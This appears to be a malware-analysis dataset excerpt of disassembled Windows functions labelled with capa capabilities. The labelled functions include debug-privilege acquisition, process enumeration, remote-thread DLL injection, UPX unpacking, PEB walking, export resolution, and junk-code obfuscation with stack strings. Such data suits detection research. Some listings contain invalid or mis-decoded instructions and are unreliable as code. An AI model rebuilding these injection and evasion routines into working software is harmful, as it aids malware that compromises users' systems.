joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401330
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x410010]
xor eax, ebp
mov dword [ebp - 4], eax
push 1
push str.Adjusting_priveleges..._n
call fcn.00401300
add esp, 8
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4013be
lea eax, [ebp - 0x10]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x4013b0
push 0
push 0
push 0x10
lea eax, [ebp - 0x14]
push eax
push 0
push dword [ebp - 0x18]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x4013e3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.main:_AdjustTokenPrivileges_has_FAILED_with__d_n
jmp 0x4013ca
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.main:_LookupPrivilegeValue_has_FAILED_with__d_n
jmp 0x4013ca
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.main:_OpenProcessToken_has_FAILED_with__d_n
push 0x410ec8
call fcn.0040213b
push 0
push 0x410ec8
call fcn.00401300
add esp, 0x14
push 1
push str.Finished_adjusting_priveleges_n_n
call fcn.00401300
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 8
call fcn.00402423
mov esp, ebp
pop ebp
ret
Function at 0x401400
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 1
push str._n_Enumerating_Processes__n
call fcn.00401300
add esp, 8
lea eax, [ebp - 4]
push eax
push 0x1000
push 0x4116f0
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x401457
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.FindProcess:_EnumProcesses_has_FAILED_with__d_n
push 0x410ec8
call fcn.0040213b
push 0
push 0x410ec8
call fcn.00401300
add esp, 0x14
xor eax, eax
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
push ebx
push esi
push edi
shr eax, 2
push eax
push str.FindProcess:_found__i_processes._n
push 0x410ec8
call fcn.0040213b
push 1
push 0x410ec8
call fcn.00401300
mov eax, dword [ebp - 4]
shr eax, 2
mov edi, 0x4116f0
lea eax, [eax*4 + 0x4116f0]
add esp, 0x14
mov dword [ebp - 0xc], eax
cmp eax, edi
je 0x401613
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [edi]
test eax, eax
jne 0x4014bc
push 1
push str.FindProcess:_Process_ID_is_0__n
call fcn.00401300
add esp, 8
jmp 0x401607
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
jne 0x4014f8
call esi
push eax
push dword [edi]
push str.FindProcess:_OpenProcess_for_process__d_has_FAILED_with__d_n
push 0x410ec8
call fcn.0040213b
push 1
push 0x410ec8
call fcn.00401300
add esp, 0x18
jmp 0x401607
lea eax, [ebp - 4]
push eax
push 0x1000
push 0x4126f0
push ebx
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
jne 0x40151c
call esi
push eax
push dword [edi]
push str.FindProcess:_EnumProcessModules_for_process__d_has_FAILED_with__d_n
jmp 0x4014da
push dword [edi]
mov eax, dword [ebp - 4]
shr eax, 2
push eax
push str.FindProcess:_found__i_modules_for_process__d__n
push 0x410ec8
call fcn.0040213b
push 1
push 0x410ec8
call fcn.00401300
mov eax, dword [ebp - 4]
shr eax, 2
mov esi, 0x4126f0
lea eax, [eax*4 + 0x4126f0]
add esp, 0x18
mov dword [ebp - 8], eax
cmp eax, esi
je 0x4015fa
push 0x104
push 0x410dc0
push dword [esi]
push ebx
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
je 0x4015cc
push 0x410dc0
call fcn.00401dc4
push dword [0x410004]
push 0x410dc0
call fcn.004021c0
add esp, 0xc
test eax, eax
je 0x4015ee
push 0x410dc0
push dword [edi]
push str.FindProcess:_FOUND_CF_PROCESS__d__with_name__s_n
push 0x410ec8
call fcn.0040213b
push 1
push 0x410ec8
call fcn.00401300
add esp, 0x18
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [edi]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push dword [esi]
push dword [edi]
push str.FindProcess:_GetModuleFileNameEx:_FAILED_for_process__d__module_0x_.8X__n
push 0x410ec8
call fcn.0040213b
push 1
push 0x410ec8
call fcn.00401300
add esp, 0x18
add esi, 4
cmp esi, dword [ebp - 8]
jne 0x401560
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
add edi, 4
cmp edi, dword [ebp - 0xc]
jne 0x4014a2
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401950
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push str.LoadLibraryA
push str.Kernel32.dll
call fcn.004016b0
add esp, 8
test eax, eax
jne 0x40196e
mov esp, ebp
pop ebp
ret
cmp dword [0x410008], 0x3c
mov dword [ebp - 4], 0
push 0
jb 0x4019d1
lea ecx, [ebp - 4]
push ecx
push dword [ebp + 0xc]
push eax
push 0
push 0
push 0
push 0
push 0
push dword [ebp + 8]
call dword [0x4116cc]
mov ecx, eax
mov eax, dword [ebp - 4]
test eax, eax
jne 0x401a13
push ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.libInjectDll:_pRtlCreateUserThread_FAILED_with_0x_.8X__status__i_n
push 0x410ec8
call fcn.0040213b
push 0
push 0x410ec8
call fcn.00401300
mov eax, dword [ebp - 4]
add esp, 0x18
mov esp, ebp
pop ebp
ret
push 0
push dword [ebp + 0xc]
push eax
push 0
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 4], eax
test eax, eax
jne 0x401a13
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.libInjectDll:_Error:_CreateRemoteThread_FAILED_with_0x_.8X_n
push 0x410ec8
call fcn.0040213b
push 0
push 0x410ec8
call fcn.00401300
mov eax, dword [ebp - 4]
add esp, 0x14
mov esp, ebp
pop ebp
ret
Function at 0x408d5a
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x410010]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.004060b6
mov dword [ebp - 0x14], eax
cmp dword [0x414460], edi
jne 0x408e4b
push 0x800
push edi
push 0x40e7dc
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x408dd8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x408f2b
push 0x40e7dc
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x408f2b
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x408f2b
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x414460], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x414464], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x414468], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x414470], eax
test eax, eax
je 0x408e48
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41446c], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x408e70
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x408e63
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x408e85
push 4
pop eax
jmp 0x408f2d
cmp dword [ebp - 0x14], edi
je 0x408e85
push dword [0x414460]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x408e6a
mov eax, dword [0x41446c]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x408ee3
cmp dword [0x414470], esi
je 0x408ee3
push eax
call ebx
push dword [0x414470]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x408ee3
test eax, eax
je 0x408ee3
call ecx
test eax, eax
je 0x408ed8
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x408ed8
test byte [ebp - 8], 1
jne 0x408ee3
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x408f13
mov eax, dword [0x414464]
cmp eax, esi
je 0x408f10
push eax
call ebx
test eax, eax
je 0x408f10
call eax
mov edi, eax
test edi, edi
je 0x408f10
mov eax, dword [0x414468]
cmp eax, esi
je 0x408f10
push eax
call ebx
test eax, eax
je 0x408f10
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x414460]
call ebx
test eax, eax
je 0x408f2b
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x408f2d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402423
leave
ret
Function at 0x4a3f30
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x99000]
push edi
jmp 0x4a3f4a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4a3f51
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4a3f40
mov eax, 1
add ebx, ebx
jne 0x4a3f63
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4a3f74
jne 0x4a3f93
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4a3f93
dec eax
add ebx, ebx
jne 0x4a3f80
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4a3f58
add ebx, ebx
jne 0x4a3f8f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4a3fe5
xor ecx, ecx
sub eax, 3
jb 0x4a3fab
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4a401a
sar eax, 1
mov ebp, eax
jmp 0x4a3fb6
add ebx, ebx
jne 0x4a3fb6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4a3f84
inc ecx
add ebx, ebx
jne 0x4a3fc4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4a3f84
add ebx, ebx
jne 0x4a3fd1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4a3fc6
jne 0x4a3fe2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4a3fc6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4a4004
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4a3ff6
jmp 0x4a3f46
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4a4004
add edi, ecx
jmp 0x4a3f46
pop esi
mov edi, esi
mov ecx, 0x467
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4a4022
cmp byte [edi], 7
jne 0x4a4022
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4a4027
lea edi, [esi + 0xa1000]
mov eax, dword [edi]
or eax, eax
je 0x4a4096
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x12e2a0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x12e2dc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4a4054
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x12e2e4]
or eax, eax
je 0x4a4090
mov dword [ebx], eax
add ebx, 4
jmp 0x4a4071
call dword [esi + 0x12e2e0]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x4a40c7
cmp al, 0xef
ja 0x4a40ba
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x4a409c
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x4a40a9
mov ebp, dword [esi + 0x12e2e8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4a40fb
sub esp, 0xffffff80
jmp 0x40125d
Function at 0x409330
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
mov eax, 0xfeff
mov word [ebp - 8], ax
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
mov ecx, dword [ebp - 0x10]
add ecx, 4
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x409372
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4093d4
push 0
lea edx, [ebp - 4]
push edx
push 2
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x409394
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4093d4
push 0
lea edx, [ebp - 4]
push edx
push 0x40e48c
call dword [sym.imp.MSVCR90.dll_wcslen]
add esp, 4
lea eax, [eax + eax + 2]
push eax
push str._SESSION_
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4093c8
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4093d4
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x409660
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
mov dword [eax], vtable.CArmReport.0
push 0x104
push 0
mov ecx, dword [ebp - 8]
add ecx, 4
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
mov edx, dword [ebp - 8]
add edx, 4
push edx
push 0
push 0
push 0x8023
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jge 0x4096ab
jmp 0x4096d7
push str.AdobeARM_
push 0x104
mov eax, dword [ebp - 8]
add eax, 4
push eax
call fcn.004063f0
push str.ArmReport.ini
push 0x104
mov ecx, dword [ebp - 8]
add ecx, 4
push ecx
call fcn.004063f0
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x40563c
Capabilities:
Get number of processors

Disassembly:
xor al, 0x37
push ebx
push esi
add esp, 4
sub ebx, 0xa345
and ebx, 0x109a9
or ebx, 0x12f2f
pop ebx
push esi
push edx
add esp, 4
xor esi, 0x2968
xor esi, 0x144fe
pop esi
push edx
and edx, 0xa7fb
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push ebx
push ecx
add esp, 4
and ebx, 0x15068
and ebx, 0x510c
sub ebx, 0x15371
pop ebx
push ecx
add ecx, 0x2da9
sub ecx, 0x15024
jmp 0x405fef
add ecx, 0x1184b
pop ecx
cmp dword [ebp - 0x14f4], 0
jne 0x40600e
mov dword [ebp - 0x2e0], 0
jmp 0x4062b5
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push eax
push edi
add esp, 4
and eax, 0x9fa6
pop eax
push edx
push ebx
add esp, 4
add edx, 0x101a9
sub edx, 0xc3c
pop edx
push edx
push ecx
add esp, 4
add edx, 0x14260
pop edx
push esi
or esi, 0xa4b
pop esi
cmp dword [ebp - 0xc3c], 0
jne 0x40606a
mov dword [ebp - 0x2e0], 0
jmp 0x4062b5
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push ebx
push ecx
add esp, 4
add ebx, 0xa0a8
sub ebx, 0xe474
or ebx, 0x17e2d
pop ebx
push ecx
and ecx, 0x1387f
sub ecx, 0xd9f7
xor ecx, 0xe01c
xor ecx, 0xcaa3
pop ecx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax

Function at 0x405b3c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add byte [ebx], bh
inc eax
xor cl, byte [ebp + edi + 0x45]
inc eax
add esp, 4
pop ecx
push eax
push eax
add esp, 4
and eax, 0x54e7
add eax, 0x5493
or eax, 0x16df9
jmp 0x405b5f
pop eax
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x405b9f
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x405e90
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x405bc7
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x405e90
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x405bf9
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x405e90
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x405c1e
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x405e90
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
invalid
Function at 0x406771
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push ebx
and ebx, 0x8a25
or ebx, 0xa8bf
and ebx, 0x12867
and ebx, 0x130a4
pop ebx
push edx
push eax
add esp, 4
xor edx, 0xde0
pop edx
push edi
push edi
add esp, 4
and edi, 0x6920
pop edi
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65

Function at 0x40680d
Capabilities:
Get number of processors

Disassembly:
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push edx
jmp 0x406829
pop edx
push ebx
push esi
add esp, 4
xor ebx, 0x4d87
pop ebx
push eax
push eax
add esp, 4
or eax, 0x10a0a
add eax, 0xfa1b
sub eax, 0x6c54
or eax, 0x16f87
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push eax
and eax, 0xdb7
jmp 0x406887
or eax, 0x182fe
and eax, 0x12577
pop eax
push edi
push ecx
add esp, 4
jmp 0x40689e
sub edi, 0x1390b
pop edi
push esi
and esi, 0x651d
pop esi
cmp dword [ebp - 0x150c], 0
jne 0x4068c5
mov dword [ebp - 0x2a8], 0
jmp 0x406b6c
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push edx
add edx, 0x135da
or edx, 0x64a4
sub edx, 0xc950
pop edx
push ecx
push eax
add esp, 4
xor ecx, 0x9b1e
pop ecx
push edx
push edi
add esp, 4
and edx, 0xa51d
sub edx, 0x7ef8
pop edx
cmp dword [ebp - 0xc4c], 0
jne 0x406921
mov dword [ebp - 0x2a8], 0
jmp 0x406b6c
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push eax
push edx
add esp, 4
jmp 0x40693a
and eax, 0x12fe5
pop eax
push edi
sub edi, 0x14cb1
pop edi
push esi
push ebx
add esp, 4
call 0x40695b
add byte [eax + 0x32], cl
dec ebp
inc ebp
dec edi
xor eax, 0x4c48350
pop esi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edx
add edx, 0x13d8c
call 0x4069a0
add byte [0x3541434e], dh
dec ebx
xor al, 0x39
inc edx
inc eax
add esp, 4
call 0x4069b1
add byte [ebx + 0x4f], al
inc ecx
inc ecx
inc esp
xor al, 0x32
add esp, 4
and edx, 0x17a30
pop edx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
invalid
invalid
invalid
invalid
Function at 0x406aec
Capabilities:
Get number of processors

Disassembly:
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x406989
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x406989
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x406aa5
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x406aaf
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x406b04
push esi
jmp 0x406aca
pop esi
push esi
push edx
add esp, 4
add esi, 0x15e1a
jmp 0x406add
call 0x406aec
add byte [esi], dh
dec edx
xor ecx, dword [esi + 0x41]
inc esi
cmp byte [edx + 0x3a], al
add esp, 4
xor esi, 0x17188
pop esi
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x406b6c
push ecx
call fcn.00406b14
add byte [ebx + 0x47], cl
xor eax, 0x353f4c4c
dec esp
cmp byte [ebx - 0x367efb3c], al
add esp, 4
or ecx, 0x1726

Function at 0x406b32
Capabilities:
Get number of processors

Disassembly:
add esp, 4
or ecx, 0x1726
sub ecx, 0x6df8
call 0x406b32
add byte [edi], dh
inc eax
aas
cmp eax, 0x444f3933
add esp, 4
pop ecx
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x406b62
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x40692d
mov dword [ebp - 0x2a8], 0

Function at 0x406f92
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0xf2810001
test dword [eax], esp
add byte [eax], al
pop edx
push esi
push edi
add esp, 4
and esi, 0xcb6e
xor esi, 0x11709
and esi, 0xb500
pop esi
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x406fe0
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x406dab
mov dword [ebp - 0x710], 0
Function at 0x40701c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
cmp dword [ebp - 0x710], 0
jne 0x407066
push ecx
or ecx, 0x6924
and ecx, 0x13c6f
pop ecx
push edx
push ecx
add esp, 4
or edx, 0xc31d
pop edx
push edx
push esi
add esp, 4
and edx, 0x93fa
xor edx, 0xa835
xor edx, 0x7837
pop edx
mov dword [ebp - 0xa58], 0
jmp 0x407b8e
push ebx
push ecx
add esp, 4
jmp 0x407071
sub ebx, 0x17022
pop ebx
push edx
or edx, 0x10cab
pop edx
push edx
push edi
add esp, 4
and edx, 0xdbe4
jmp 0x407091
and edx, 0xe3ed
pop edx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x4070d7
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x4073c8
add byte [eax], al
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x4070ff
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x4073c8
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x407131
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x4073c8
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x407156
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x4073c8
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
invalid
push ecx